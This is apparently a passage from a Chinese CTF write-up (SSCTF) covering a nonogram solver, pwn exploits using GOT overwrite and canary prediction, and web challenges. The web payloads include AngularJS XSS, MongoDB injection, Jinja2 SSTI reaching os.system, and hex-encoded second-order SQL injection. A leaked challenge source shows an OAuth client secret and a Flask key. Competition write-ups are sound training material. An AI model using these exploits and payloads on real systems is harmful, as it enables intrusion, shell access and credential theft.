conn.recvuntil('#') conn.sendline('more') print conn.recvuntil('#') conn.sendline('less') print conn.recvuntil('#') conn.sendline('vim') print conn.recvuntil('#') conn.sendline('nano') print conn.recvuntil('#') conn.sendline('sed') print conn.recvuntil('#') conn.sendline('awk') print conn.recvuntil('#') conn.sendline('ps') print conn.recvuntil('#') conn.sendline('top') print conn.recvuntil('#') conn.sendline('kill') print conn.recvuntil('#') conn.sendline('find') print conn.recvuntil('#') conn.sendline('break') print conn.recvuntil('#') conn.sendline('gcc') print conn.recvuntil('#') conn.sendline('debug') print conn.recvuntil('#') conn.sendline('git') print conn.recvuntil('#') conn.sendline('curl') print conn.recvuntil('#') conn.sendline('wget') print conn.recvuntil('#') conn.sendline('gzip') print conn.recvuntil('#') conn.sendline('tar') print conn.recvuntil('#') conn.sendline('ftp') ss = conn.recvuntil('}') #print ss split = ss.split(':') coll = split[1] test_cols0 = coll[:-7] test_rows0 = split[2] test_rows0 = test_rows0[:-1] print 'cols ====',test_cols0 print 'rows ====',test_rows0 test_cols = test_cols0 test_rows = test_rows0 ret = test_cols0.find('?') change = 2 if ret!= -1: test_cols = test_cols0[:ret-1] + str(change) + test_cols0[ret+2:] print '==00=',test_cols ret = test_rows0.find('?') if ret!= -1: test_rows = test_rows0[:ret-1] + str(change) + test_rows0[ret+2:] print '==00=',test_rows #test_rows=[[7,],(3,3),(1,2),(3,3,2),(1,1,1,1,2),(1,1,1,1),(1,1,1,1,1,1), (1,1,1,1,2),(2,1,2,1,1),(7,4,1,1),(1,1,1,1,1,2,1),(3,1,11,1),(16,1),(14,2),(4,1,1),(4,2,1,2),(1,2,1,1,2),(2 ,2,1,3),(1,1,4),(5,)] #test_cols=[(4,4),(2,2,3,1),(1,1,5,1,1),(2,1,6),(1,10),(1,2,1,4),(1,1,1,6),(2,2,2,3,3),(1,4,3,2,1),(1,3,1, 2),(1,4,1,1,1),(1,3,1,4,1,2),(1,2,3,1,1),(2,1,3,1),(1,1,2,2),(2,2,1),(2,2,2),(2,2,2),(4,3),(7,)] test_cols = list(eval(test_cols)) print 'xxxx:',test_cols test_rows = list(eval(test_rows)) go(test_cols,test_rows,7) print 'over!' conn.interactive() 解密脚本如下: #!/usr/bin/python # -*- coding: utf-8 -*- from PIL import Image, ImageDraw SYMBOL_EMPTY = 0 SYMBOL_X = 1 SYMBOL_FILLED = 2 # def fixed_sum_digits(digits, Tot): """ adapted from http://stackoverflow.com/a/8617750 Given digits and Tot, it generates an array of all ways to arrange "digits" x digits so that the sum of them is "Tot". Zero can be a digit on either end, otherwise it must be one or greater """ ways = [] def iter_fun(sum, deepness, sequence, Total): if deepness == 0: if sum == Total: ways.append(sequence) else: on_end = deepness == 1 or deepness == digits for i in range(0 if on_end else 1, Total - sum + 1): iter_fun(sum + i, deepness - 1, sequence + [i], Total) iter_fun(0, digits, [], Tot) return ways def generate_possible_rows(nums, size): digits = len(nums) + 1 space_left = size - sum(nums) combos = fixed_sum_digits(digits, space_left) rows = [] for combo in combos: row = [None] * (len(combo) + len(nums)) row[::2] = combo row[1::2] = nums out = [] curr = SYMBOL_X; for r in row: out.extend([curr] * r) curr = SYMBOL_X if (curr == SYMBOL_FILLED) else SYMBOL_FILLED rows.append(out) return rows def filter_rows(rows, existing): def is_row_okay(row, existing): for i in range(0, len(existing)): if existing[i] != 0 and row[i] != existing[i]: return False return True return [row for row in rows if is_row_okay(row, existing)] def find_common_rows(rows, size): row_x = [SYMBOL_X] * size row_filled = [SYMBOL_FILLED] * size for row in rows: for i in range(0, size): if row[i] == SYMBOL_FILLED: row_x[i] = SYMBOL_EMPTY if row[i] == SYMBOL_X: row_filled[i] = SYMBOL_EMPTY return [x + y for x, y in zip(row_x, row_filled)] def do_row(nums, size, existing=None): possible = generate_possible_rows(nums, size) if existing is not None: possible = filter_rows(possible, existing) common = find_common_rows(possible, size) if existing is not None: for i in range(0, size): if common[i] == SYMBOL_EMPTY: common[i] = existing[i] return common def is_row_filled(row): for x in row: if x == SYMBOL_EMPTY: return False return True # Grid abstraction handlers def grid_make(w, h): return [[SYMBOL_EMPTY for i in range(0, w)] for j in range(0, h)] def grid_get_row(grid, row): return grid[row] def grid_get_col(grid, col): return [row[col] for row in grid] def grid_set_row(grid, row, val): grid[row] = val def grid_set_col(grid, col, val): for row in range(0, len(grid)): grid[row][col] = val[row] def grid_print(grid): symbol_print = [' ', '·', '█'] for row in grid: s = "" for x in row: s += symbol_print[x] print(s) def grid_filled(grid): for row in grid: if not is_row_filled(row): return False return True def grid_image(grid, size=10): w, h = len(grid[0]), len(grid) im = Image.new("RGB", (w * size, h * size), (255, 255, 255)) draw = ImageDraw.Draw(im) for y in range(0, h): row = grid[y] for x in range(0, w): val = row[x] coord = [(x * size, y * size), ((x + 1) * size, (y + 1) * size)] if val == SYMBOL_FILLED: draw.rectangle(coord, fill=(0, 0, 0)) if val == SYMBOL_X: draw.rectangle(coord, fill=(255, 128, 128)) return im # end grid abstraction handlers def go(cols, rows): w = len(cols) h = len(rows) g = grid_make(w, h) num = 0 def snapshot(name="nonogram"): num = 0 im = grid_image(g) im.save("%s_%04d.png" % (name, num)) num += 1 snapshot() while not grid_filled(g): for i in range(0, h): row = grid_get_row(g, i) if is_row_filled(row): continue d = do_row(test_rows[i], h, row) grid_set_row(g, i, d) snapshot() for i in range(0, w): col = grid_get_col(g, i) if is_row_filled(col): continue d = do_row(test_cols[i], w, col) grid_set_col(g, i, d) snapshot() snapshot() return g # id w # 1 1 # test stuff #test_cols = [(2, 2, 5), (2, 1, 9), (3, 4, 3), (3, 3, 2, 1), (3, 3, 5, 2), (4, 2, 3, 2), (9, 2), (9, ), (16, ), (1, 15), (1, 11, 3), (14, 2), (2, 6, 5, 2), (1, 7, 2, 2), (1, 9, 4), (11, 2), (10, 2), (10, 1, 2), (8, 1, 2), (5, 3)] #test_rows = [(2,), (4, 4), (1, 3, 1, 5), (3, 1, 2, 3), (1, 3, 4, 5), (2, 14), (15,), (14,), (16,), (18,), (4, 14), (3, 7, 6), (3, 9, 4), (2, 2, 6), (2, 2, 2, 4, 2), (2, 2, 1, 2, 4, 1), (2, 3, 2, 1, 3, 1), (2, 1, 3, 2, 4), (2, 1, 5, 2), (3, 3)] #test_rows = [(2,2,11),(3,4,13),(3,5,11),(4,3,10),(3,3,3,1),(1,1,1,1,1,1),(5,3,4),(1,1,4,2,5,1),(3,2,2,5),(1,2,3,3,1),(1 ,6,1,1,1),(1,4,1,1,2),(5,4,5,1),(10,1,3,5),(8,1,1,8,2),(11,5,9),(1,3,5,9),(1,1,1,1,5,7),(3,6,8),(21,),(3,2, 9,10),(6,4,3,5,1),(6,5),(3,5),(3,2,6),(3,5,1,1,3),(5,3,4,1,1,4),(3,2,3,6),(3,3,1,9),(2,2,1,2,4)] #test_cols = [(2,4,1,3,3,4),(2,1,1,1,1,3,4),(3,3,7,5,3),(3,1,5,4,1),(6,6,4,1),(1,2,4,3),(3,4,1,1,2),(2,3,1,2),(3,3,3,1),( 5,3,3,2),(4,1,1,4,1),(4,1,1,5),(1,1,3,3,1,1),(7,4,1,3),(1,14,2),(1,1,3,7,2),(4,1,9,2),(6,1,1,7,1),(5,1,7),( 6,1,1,9),(4,1,1,6,1,1),(4,4,18),(4,3,13,1),(5,23),(3,3,8,5),(3,16,4),(3,1,6,4),(1,1,8,3),(1,3,3,3),(1,1,1, 2,1,2)] #test_rows = [[7,],(3,3),(1,2),(3,3,2),(1,1,1,1,2),(1,1,1,1),(1,1,1,1,1,1), (1,1,1,1,2),(2,1,2,1,1),(7,4,1,1),(1,1,1,1,1,2,1),(3,1,11,1),(16,1),(14,2),(4,1,1),(4,2,1,2),(1,2,1,1,2),(2 ,2,1,3),(1,1,4),(5,)] #test_cols = [(4,4),(2,2,3,1),(1,1,5,1,1),(2,1,6),(1,10),(1,2,1,4),(1,1,1,6),(2,2,2,3,3),(1,4,3,2,1),(1,3,1,2),(1,4,1,1,1 ),(1,3,1,4,1,2),(1,2,3,1,1),(2,1,3,1),(1,1,2,2),(2,2,1),(2,2,2),(2,2,2),(4,3),(7,)] #test_cols = [[7, 1, 1, 1, 5, 7], [1, 1, 1, 1, 2, 2, 1, 1], [1, 3, 1, 2, 3, 4, 1, 3, 1], [1, 3, 1, 1, 1, 3, 1, 1, 3, 1], [1, 3, 1, 1, 2, 1, 1, 1, 3, 1], [1, 1, 2, 2, 1, 1, 1], [7, 1, 1, 1, 1, 1, 1, 1, 7], [1, 2, 2, 2], [1, 1, 2, 3, 1, 4, 1 , 5], [4, 5, 2, 3, 2], [1, 3, 1, 1, 1, 2, 1, 1], [3, 3, 3, 3], [1, 1, 3, 1, 1, 2, 1, 1, 2, 1], [2, 1, 3, 3], [1, 3, 1, 1, 2, 1, 1, 2, 1, 1], [1, 2, 2, 1, 3, 7, 3], [1, 1, 1, 1, 2, 1, 1, 1, 2], [2, 2, 1, 2, 1, 1, 2, 1], [2, 3, 1, 1, 1, 1, 2, 1, 1], [1, 1, 2, 1, 2, 4, 1], [3, 1, 4, 1, 1, 1, 8], [1, 3, 1, 1, 2, 3, 1], [7, 2, 1, 1, 1], [1, 1, 1, 1, 1, 1, 2, 2, 2], [1, 3, 1, 3, 1, 1, 1, 6, 1], [1, 3, 1, 3, 1, 1, 1, 1, 1, 1, 1], [1, 3, 1, 2, 1, 1, 1, 1, 1, 1, 1, 1, 1], [1, 1, 1, 1, 1, 1, 1, 1, 2, 3], [7, 1, 1, 1, 1, 1, 1]] #test_rows = [[7, 1, 3, 1, 7], [1, 1, 2, 2, 2, 1, 1], [1, 3, 1, 3, 1, 1, 1, 1, 1, 3, 1], [1, 3, 1, 2, 1, 1, 1, 1, 3, 1], [1, 3, 1, 1, 4, 4, 1, 3, 1], [1, 1, 1, 1, 3, 1, 1, 1], [7, 1, 1, 1, 1, 1, 1, 1, 7], [2, 1], [5, 5, 1, 4, 3, 1, 1, 1], [1, 1, 2, 3, 3, 1], [1, 2, 2, 2, 2, 2, 4], [1, 1, 1, 3, 1, 1, 1, 2, 2], [1, 1, 2, 1, 1, 1, 1, 1, 3], [3, 1, 4, 1, 2, 2, 1], [1, 1, 1, 2, 3, 1, 2], [2, 1, 1, 2, 3, 1], [2, 1, 4, 1, 3, 1, 1, 3], [1, 4, 1, 1, 2, 1, 1], [1, 2, 1, 1, 2, 1, 2, 3], [1, 1, 1, 2, 1, 2, 5, 1], [1, 3, 2, 3, 3, 8], [3, 4, 3, 1, 1], [7, 2, 3, 3, 1, 1, 2], [1, 1, 1, 2, 2, 2, 1], [1, 3, 1, 2, 1, 1, 2, 5, 1, 1], [1, 3, 1, 2, 2, 2, 1, 1], [1, 3, 1, 1, 2, 1, 4, 4], [1, 1, 1, 1, 3, 1, 1, 1], [7, 1, 2, 3, 1, 1, 2]] #test_cols = [[7, 3, 4, 7], [1, 1, 3, 1, 1, 1], [1, 3, 1, 3, 3, 1, 3, 1], [1, 3, 1, 3, 1, 1, 3, 1], [1, 3, 1, 3, 1, 2, 1, 3, 1], [1, 1, 2, 1, 1, 1, 1], [7, 1, 1, 1, 1, 1, 7], [3], [1, 2, 1, 2, 3, 2, 2], [1, 3, 1, 1, 2], [2, 1, 2, 3, 1, 3], [1, 2, 2, 2, 1, 2, 1, 2], [2, 3, 2, 1, 1, 2, 1], [2, 2, 3, 1, 1, 2, 3, 1], [2, 3, 7, 1, 2], [2, 1, 1, 1, 1, 3], [3, 2, 2, 1, 1, 5, 3], [1, 1, 2, 1], [7, 2, 3, 1, 1, 3, 1], [1, 1, 3, 2, 1, 1], [1, 3, 1, 3, 1, 9], [1, 3, 1, 1, 5, 1, 1], [1, 3, 1, 3, 1, 2, 2], [1, 1, 5, 1, 1, 1, 2], [7, 9, 7]] #test_rows = [[7, 1, 2, 2, 7], [1, 1, 1, 5, 1, 1], [1, 3, 1, 1, 3, 1, 1, 3, 1], [1, 3, 1, 2, 1, 3, 1], [1, 3, 1, 3, 1, 1, 3, 1], [1, 1, 3, 1, 1], [7, 1, 1, 1, 1, 1, 7], [1, 2, 4], [2, 2, 1, 1, 3, 1, 1], [2, 3, 1, 2, 1, 1, 1, 2], [10, 1, 2, 2, 3], [1, 1 , 1, 1, 3, 3], [1, 5, 2, 1, 7], [1, 2, 1, 1, 1, 1, 1, 2], [3, 1, 1, 4, 2, 1], [1, 1, 2, 1, 5, 1, 1, 2], [1, 1, 1, 1, 3, 1, 7, 1], [1, 1, 2, 1, 1, 1], [7, 3, 2, 1, 1, 1], [1, 1, 1, 2, 2, 2], [1, 3, 1, 1, 2, 8, 1, 1], [1, 3, 1, 1, 1, 2, 1, 1, 1], [1, 3, 1, 2, 2, 1, 3, 2], [1, 1, 4, 1, 2, 1, 3], [7, 1, 2, 2, 1, 1, 3, 1]] test_cols = [[7,2, 1, 1, 7], [1, 1, 1, 1, 1, 1, 1, 1], [1, 3, 1, 1, 2, 1, 1, 3, 1], [1, 3, 1, 1, 3, 1, 3, 1], [1, 3, 1, 3, 1, 1, 1, 3, 1], [1, 1, 2, 2, 1, 1], [7, 1, 1, 1, 1, 1, 7], [1, 1, 1, 2], [4, 2, 1, 2, 1, 1, 2, 2], [2, 1, 1, 1, 1, 2, 1, 2, 1, 1], [3, 2, 1, 2, 4, 1], [2, 1, 4, 1, 1, 1, 1, 1], [1, 1, 5, 6, 3, 2], [2, 1, 1, 1, 1, 5, 1, 2], [5, 1, 7, 4, 2], [1, 3, 1, 3, 1], [1, 2, 1, 2, 8, 2], [3, 1, 2, 3, 1], [7, 1, 2, 1, 1, 2, 1], [1, 1, 5, 3, 1, 1], [1, 3, 1, 1, 8, 1], [1, 3, 1, 5, 3, 1, 2], [1, 3, 1, 1, 3, 3, 2, 3], [1, 1, 1, 1, 2, 2, 3], [7, 1, 2, 2, 1, 1]] test_rows = [[7, 2, 1, 1, 7], [1, 1, 4, 4, 1, 1], [1, 3, 1, 1, 5, 1, 3, 1], [1, 3, 1, 3, 1, 1, 1, 3, 1], [1, 3, 1, 2, 1, 1, 1, 3, 1], [1, 1, 3, 2, 1, 1], [7, 1, 1, 1, 1, 1, 7], [1, 3], [2, 3, 3, 1, 1, 4], [1, 3, 2, 1, 1, 6], [2, 1, 1, 1, 5, 1, 2], [1, 2, 2, 1, 1, 4], [2, 1, 1, 6, 2, 2, 1], [5, 3, 1, 1, 3, 1, 1], [1, 1, 1, 5, 2, 2], [2, 2, 2, 2, 4, 1], [3, 3, 5, 7, 1], [3, 3, 1, 2, 1], [7, 2, 4, 1, 1, 1], [1, 1, 3, 1, 3, 1, 1], [1, 3, 1, 2, 3, 6, 1], [1, 3, 1, 1, 1, 1, 2, 1, 1], [1, 3, 1, 1, 1, 2, 2], [1, 1, 1, 2, 2, 2, 3], [7, 2, 3, 1, 5]] go(test_cols,test_rows) # remove duplicates with # fdupes -rdN . # turn it into a gif with # convert -delay 10 -loop 0 nonogram*.png anim.gif Crypto&Exploit400(Pwn-1) 用 IDA 分析程序,发现程序内部自己实现了一个内存管理系统。和 LIBC 的堆有些相似, 连续申请的内存会在相邻的地址。 经过分析,发现漏洞出在 Update 与 Query 的时候,可以越过数组界限读写 4 个字节,于是 修改相邻数组的开头(开头为数组包含数字总和),可以达到任意写的效果。 脚本: #!/usr/bin/env python # -*- coding: utf-8 -*- from pwn import * from ctypes import * local = False if local: io = process('./pwn1') else: atoi_offset = 0x2D8E0 system_offset = 0x3BC90 io = remote('pwn.lab.seclover.com',11111) def r_sort(io,numbers): io.recvuntil('$ ') io.sendline('sort') io.recvuntil(':') io.sendline(str(len(numbers))) for i in numbers: io.recvuntil(':') io.sendline(str(i)) def main(): # leak heap base r_sort(io,[1]) print io.recvuntil('Choose:') io.sendline('3') print io.recvuntil('Choose:') io.sendline('1') print io.recvuntil('index:') io.sendline('1') io.recvuntil('result: ') heap_base = int(io.recvline()[:-1]) log.success('Heap Base = ' + hex(heap_base)) io.recvuntil('Choose:') io.sendline('7') io.recvuntil('$ ') io.sendline('clear') # now: # [8|8|xxxxxx] r_sort(io,[1,2,3]) io.recvuntil('Choose:') io.sendline('3') io.recvuntil('Choose:') io.sendline('7') r_sort(io,[1,2,3,4,5,6,7]) io.recvuntil('Choose:') io.sendline('3') io.recvuntil('Choose:') io.sendline('7') io.recvuntil('$ ') io.sendline('clear') r_sort(io,[1,2,3,4,5,6,7]) io.recvuntil('Choose:') io.sendline('3') io.recvuntil('Choose:') io.sendline('7') r_sort(io,[1,2,3]) io.recvuntil('Choose:') io.sendline('2') io.recvuntil(':') io.sendline('3') io.recvuntil(':') io.sendline('1073741832') io.recvuntil('Choose:') io.sendline('7') io.recvuntil('$ ') io.sendline('reload') io.recvuntil(':') io.sendline('0') addr = heap_base + 0x40 atoi_plt = c_uint32(0x804d020) atoi_plt.value -= addr atoi_plt.value /= 4 atoi_plt.value -= 1 log.success('Index = '+str(atoi_plt.value)) io.recvuntil('Choose:') io.sendline('1') io.recvuntil('index:') io.sendline(str(atoi_plt.value)) io.recvuntil('result: ') atoi_addr = c_uint32(int(io.recvline()[:-1])) log.success('Atoi addr = ' + hex(atoi_addr.value)) libc_addr = atoi_addr.value - atoi_offset log.success('Libc addr = ' + hex(libc_addr)) system_addr = c_int32(libc_addr + system_offset) io.recvuntil('Choose:') io.sendline('2') io.recvuntil(':') io.sendline(str(atoi_plt.value)) io.recvuntil(':') io.sendline(str(system_addr.value)) io.recvuntil('Choose:') io.sendline('/bin/sh') #raw_input('attach!') io.interactive() return 0 if __name__ == '__main__': main() 效果: Crypto&Exploit600(Pwn-2) 这道题目是 pwn 400 的延伸,程序在分配数组时多分配了一个 dword 用作 canary 以防 止我们修改数组长度。canary 是以 time(0)作 seed 产生的伪随机数,又因为两道题目运行在 同一个服务器上,所以我想到了和服务器同步时间以得到 canary。利用 pwn400 的脚本将系 统时间同步,然后利用和 pwn400 相似的方法即可 get shell,拿到 flag。 脚本: #!/usr/bin/env python # -*- coding: utf-8 -*- from pwn import * from ctypes import * def r_sort(io,numbers): io.recvuntil('$ ') io.sendline('sort') io.recvuntil(':') io.sendline(str(len(numbers))) for i in numbers: io.recvuntil(':') io.sendline(str(i)) def get_random(delta=0): libc = CDLL('libc.so.6') seed = libc.time(0) + delta libc.srand(seed) return c_uint32(libc.rand()) def main(): delta = 0 while 1: local = False if local: io = process('./pwn2') random = get_random(delta) strtol_offset = 0x305B0 atoi_offset = 0x2D8E0 system_offset = 0x30240 else: io = remote('pwn.lab.seclover.com',22222) random = get_random(delta) strtol_offset = 0x305B0 atoi_offset = 0x2D8E0 system_offset = 0x3BC90 log.info('Random = ' + str(random)) canary = c_int32(0x40000008^random.value).value if canary < 0x40000008: log.info('Canary Less than Length! Retry') io.close() continue r_sort(io,[0x40000008,canary,0x7fffffff,0x7fffffff,0x7fffffff,0x7 fffffff]) io.recvuntil('Choose:') io.sendline('3') io.recvuntil('Choose:') io.sendline('1') io.recvuntil('index:') io.sendline('6') io.recvuntil('result: ') heap_base = int(io.recvline()[:-1]) log.success('Heap Base = ' + hex(heap_base)) fake_array = heap_base + 8 io.recvuntil('Choose:') io.sendline('2') io.recvuntil(':') io.sendline('6') io.recvuntil(':') io.sendline(str(fake_array)) io.recvuntil('Choose:') io.sendline('7') io.recvuntil('$ ') io.sendline('reload') io.recvuntil(':') io.sendline('0') #raw_input('Attach now!') io.recvuntil('Choose:') io.sendline('1') io.recvuntil(':') io.sendline('0') io.recv(9999) result = io.recv(9999) print result if 'Overwrite' not in result: log.success("Delta found !" + str(delta)) # calc index strtol_got = 0x0804C01C index = c_uint32(c_uint32(strtol_got- (fake_array+8)).value/4).value-8 log.info("Index " + str(index)) io.sendline('1') print io.recvuntil(':') io.sendline(str(index)) print io.recvuntil('result: ') strtol_addr = c_uint32(int(io.recvline()[:-1])) log.success('strtol addr = ' + hex(strtol_addr.value)) #raw_input("attach!") libc_addr = strtol_addr.value - strtol_offset log.success('Libc addr = ' + hex(libc_addr)) system_addr = libc_addr + system_offset io.sendline('2') io.recvuntil(':') io.sendline(str(index)) io.recvuntil(':') io.sendline(str(c_int32(system_addr).value)) io.recvuntil('Choose:') io.sendline('/bin/sh') io.interactive() exit(0) #io.interactive() io.close() return 0 if __name__ == '__main__': main() 效果: 注:其实我觉得我的解法挺猥琐的...不知道是不是这道题目的正解,不过解出来就好... Web Web100(Up!Up!Up!) 一个上传,研究了半天都没解决,什么常规的方法都试过了,能改的属性都改过了,最 后队友看了看包,来了句,可没可能在上传表单属性 Content-Type: multipart/form-data;那里 有个判断啊,瞬间觉得世界明亮了,于是就这么拿了 flag: Web200(Can You Hit Me?) Gg 了一篇文章: http://blog.portswigger.net/2016/01/xss-without-html-client-side-template.html ,然后肯定是测试最新那个了—但发现过滤了 on、eval、alert 等字符,双写绕过。 Payload: http://960a23aa.seclover.com/index.php?xss={{'a'.coonnstructor.prototype.charAt=[].join;$eveva lal('x=1} } };aleralertt(/ssctf_Nu1L/)//');}} Web300(Legend?Legend) 又是 MMD。。。。。。。。。。wooyun 的文章: http://drops.wooyun.org/tips/3939 本来想测试下,结果貌似又被搅屎了,然后就报不了 js 错误直接跳回首页了,就拿最终的图 吧。 然后就利用 return 构造,payload: http://806bddce.seclover.com/news.php?newsid=3%27});return%20{title:tojson(db.getCollection Names()),password:2};//&password=test http://806bddce.seclover.com/news.php?newsid=3%27});return%20{title:tojson(db.user.find()[0] )};//&password=test 然后邮箱登录。。。我还问西瓜牛为啥没有 flag。。。 翻了翻邮箱,找到~ Web400(Flag-Man) 一开始以为是 cookie 哪里改成赵日天= == = == = == = = =无力吐槽,然后在乌云看到一篇文 章:http://drops.wooyun.org/web/13057 点击题目的 login,发现 name 的 value 是你 github 账号名字,于是开了开脑洞, http://drops.wooyun.org/web/13057 POC {% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__ == 'catch_warnings' %} {{ c.__init__.func_globals['linecache'].__dict__['os'].system('id') }} {% endif %} {% endfor %} 为了简短代码, {% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__ == 'catch_warnings' %} {{ loop.index0 }}{% endif %} {% endfor %} 得到索引是 59 # 循环查看所有的模块 发现有 os, __file__, __builtins__等,可以用 open {% for i in range(0, 10) %} {{ [].__class__.__base__.__subclasses__()[59].__init__.func_globals['linecache'].__dict__.keys()[i] }} {% endfor %} 但是要先知道当前文件名,所以 {{ [].__class__.__base__.__subclasses__()[59].__init__.func_globals['linecache'].__dict__['os'].pa th.realpath(__file__) }} 得到文件名 ssctf.py,然后读文件 {{ [].__class__.__base__.__subclasses__()[59].__init__.func_globals['linecache'].__dict__['__built ins__'].open("/data1/www/htdocs/259/4083475a59f34e34/2/ssctf.py", "r").read() }} 得到 name:# -*- coding: utf-8 -*- from flask import Flask,abort,request,session,redirect,render_template_string import os import json import datetime import urllib import re import time import hashlib #import sqlite3 import threading from rauth.service import OAuth2Service BASE_DIR = os.path.dirname(os.path.abspath(__file__)) DEBUG = os.name =='nt' if DEBUG: WEBHOME = 'http://127.0.0.1/' else: WEBHOME = 'http://b525ac59.seclover.com/' github = OAuth2Service( name='github', base_url='https://api.github.com/', access_token_url='https://github.com/login/oauth/access_token', authorize_url='https://github.com/login/oauth/authorize', client_id= '6ad5ab3c971c740adf64', client_secret= 'd6aed929c3b9bf713a37435c117619dcd46194e1', ) app = Flask(__name__) app.debug = DEBUG app.secret_key = "sflkgjsiotu2rjdskjfnpwq9rwrehnpqwd0i2ruruogh9723yrhbfnkdsjl" app.flagman = (1,'flagman','SSCTF{dc28c39697058241d924be06462c2040}','http://www.seclover.com/wp- content/uploads/2015/07/logo.png') # app.lastid = 1 # app.lock = threading.Lock() # def getnewid(): # app.lock.acquire() # app.lastid+=1 # newid = app.lastid # app.lock.release() # return newid # def dbinsert(name,uid,pic): # newid = getnewid() # app.user[newid] = (name,uid,pic) # return newid # def dbfind(user_id): # userinfo = app.user.get(user_id) # if userinfo: # return (user_id,)+userinfo # return None # def dbfind_uid(uid): # for u in app.user: # if app.user[u][1]==uid: # return (u,)+app.user[u] # return None # app.dbcon = sqlite3.connect(":memory:", check_same_thread=False) # app.dbcur = app.dbcon.cursor() # app.dbcur.executescript('''CREATE TABLE "user" ( # "id" INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, # "name" TEXT, # "uid" TEXT, # "pic" TEXT # ) # ; # CREATE UNIQUE INDEX "id" # ON "user" ("id" ASC); # CREATE UNIQUE INDEX "uid" # ON "user" ("uid" ASC); # ''') # def dbinsert(name,uid,pic): # sql = '''INSERT INTO "user" ("name", "uid", "pic") VALUES (?,?,?);''' # app.dbcur.execute(sql,(name,uid,pic)) # app.dbcon.commit() # return app.dbcur.lastrowid # def dbfind(user_id): # sql = '''SELECT * FROM "user" where id = ?''' # rows = app.dbcur.execute(sql,(user_id,)) # for id,name,realuid,pic in rows: # return (id,name,realuid,pic) # return None # dbinsert('howmp','uid','http://www.seclover.com/wp-content/uploads/2015/07/logo.png') @app.route('/user/') def user(): userinfo = session.get('info') if not userinfo: #session.pop('info') return "please login first. Powered by Flask/0.11.2" user_id,name,realuid,pic = userinfo if user_id == 1: user_id,name,realuid,pic = app.flagman name = str(name) pic = str(pic) template = u''' name:''' + name + ' uid:{{ realuid }} id:{{ user_id }}' #template += u" {{app.secret_key}}" return render_template_string(template,**(dict(globals(), **locals()))) @app.route('/') def index(): def _link(): params = {'redirect_uri': WEBHOME+'callback'} icon = u'' return """ %s """ % (github.get_authorize_url(**params), icon) html = """ %slogin only / and /user,no other pages! """ % _link() return html @app.route('/callback') def callback(): code = request.args.get('code') if not code: abort(401) data = dict(code=request.args['code'], redirect_uri=WEBHOME+'callback', ) try: auth = github.get_auth_session(data=data) me = auth.get('user').json() session['info']=[2,me['name'],me['id'],me['avatar_url']] return redirect('/user/') except Exception,e: return e if __name__ == '__main__': app.run(host='0.0.0.0',port=80) 因为最后没截图了,就拿这当吧,当时拿到 py 源码发现有 app.flagman- -改 github 昵称,利 用 http://www.tuicool.com/articles/mANBvmJ 文章中的{{…….}}进行绕过: 访问下就行了: Web500(AFSRC-Market)-----比赛时未作出来,赛后做 比赛时没有发现给的 hint 竟然还有一个单词叫 is_number,明显的是这个 函数造成的过滤不严格,使得恶意数据通过十六进制插入数据库造成二次注 入,代码的话首先测试的是 904 and 1=1,构造 payload 为 http://edb24e7c.seclover.com/add_cart.php?id=0x39303420616e6420313d31 ,访问之后再 http://edb24e7c.seclover.com/userinfo.php 的 myinfo 下发现 了 money 尝试 904 and 1=0,money 变为 , 报错,直接确定注入。之后就是盲注了。。。盲注的话也是有技巧的,首先爆 数据库名,构造 904 and 1=0 union select 1,2,SCHEMA_NAME,4 from information_schema.SCHEMATA limit 1,1;#,得到 payload 为 http://edb24e7c.seclover.com/add_cart.php?id=0x39303420616e6420313d30 20756e696f6e2073656c65637420312c322c534348454d415f4e414d452c342066726 f6d20696e666f726d6174696f6e5f736368656d612e534348454d415441206c696d69 7420312c313b23,得到数据库名 ,然后查表,构造 http://edb24e7c.seclover.com/add_cart.php?id=0x904 and 1=0 union select 1,2,table_name,4 from information_schema.tables where table_schema='web05';#得到 flag 表,爆字段数,构造 904 and 1=0 union select 1 from flag #,依次 select 1 select1,2,发现在 select 1,2,3,4 的时候 money 为 3,所以,得出结论,flag 表有四个字段,其中 第三个字段上有东西,根据经验把目标锁定在 flag,于是构造 904 and 1=0 union select 1,2,flag,4 from flag #,得到的 payload 为 http://edb24e7c.seclover.com/add_cart.php?id=0x39303420616e6420313d30 20756e696f6e2073656c65637420312c322c666c61672c342066726f6d20666c61672 023,之后发现 ,于是访问 http://edb24e7c.seclover.com/2112jb1njIUIJ__tr_R/tips.txt 得到 tips: 1、Congratulations for you !You finished 80%,Come on continue! 2、token=md5(md5(username)+salt) salt max lenght is 5(hexs) 3、Add the Money Get the Flag 提示很明显了,根据提示,得到自己 token 然后爆破就可以了 首先找到表名, http://edb24e7c.seclover.com/add_cart.php?id=0x39303420616e6420313d3020756e696f6e207 3656c65637420312c322c7461626c655f6e616d652c342066726f6d20696e666f726d6174696f6e5 f736368656d612e7461626c6573207768657265207461626c655f736368656d613d277765623035 27206c696d697420312c313b23,构造 payload,得到 user 表,构造 payload 为 904 and 1=0 union select 1,2,token,4 from user where username ='Albertchang' #,访问 http://edb24e7c.seclover.com/add_cart.php?id=0x39303420616e6420313d3020756e696f6e207 3656c65637420312c322c746f6b656e2c342066726f6d2075736572202077686572652075736572 6e616d65203d27416c626572746368616e67272023 后在 money 得到自己的 token: 4e35baffcafd958795c0efed53bfb080,然后写个脚本爆破首先对自己的用户名 Albertchang 进 行 md5 为 18dda757bd3c9977b65d519a3cb81fbc,然后写脚本,补上一到五个字符进行 md5 import hashlib def md5(str): import hashlib m = hashlib.md5() m.update(str) return m.hexdigest() li = [] s = '18dda757bd3c9977b65d519a3cb81fbc' chars = ['0','1','2','3','4','5','6','7','8','9','a','b','c','d', 'e','f'] for i in chars : li.append(s+i) for i in chars : for j in chars : li.append(s+i+j) for i in chars : for j in chars : for k in chars : li.append(s+i+j+k) for i in chars : for j in chars : for k in chars : for l in chars : li.append(s+i+j+k+l) for i in chars : for j in chars : for k in chars : for l in chars : for m in chars : li.append(s+i+j+k+l+m) for i in li : if md5(i) == '4e35baffcafd958795c0efed53bfb080' : print i 得到 18dda757bd3c9977b65d519a3cb81fbc8b76d,所以 salt 是 8b76d。之后 addmoney, burp 抓包改一下 salt 在 forward 就得到 flag 了 最后,感谢四叶草的@kun@line@zhao 瓜皮等辛勤的工作人员,给我们带来了一场精彩的比 赛,让我们也学到了很多东西,同时也鄙视一下一直在搅屎 web300 那个注入的脑残。。。。。
pdf
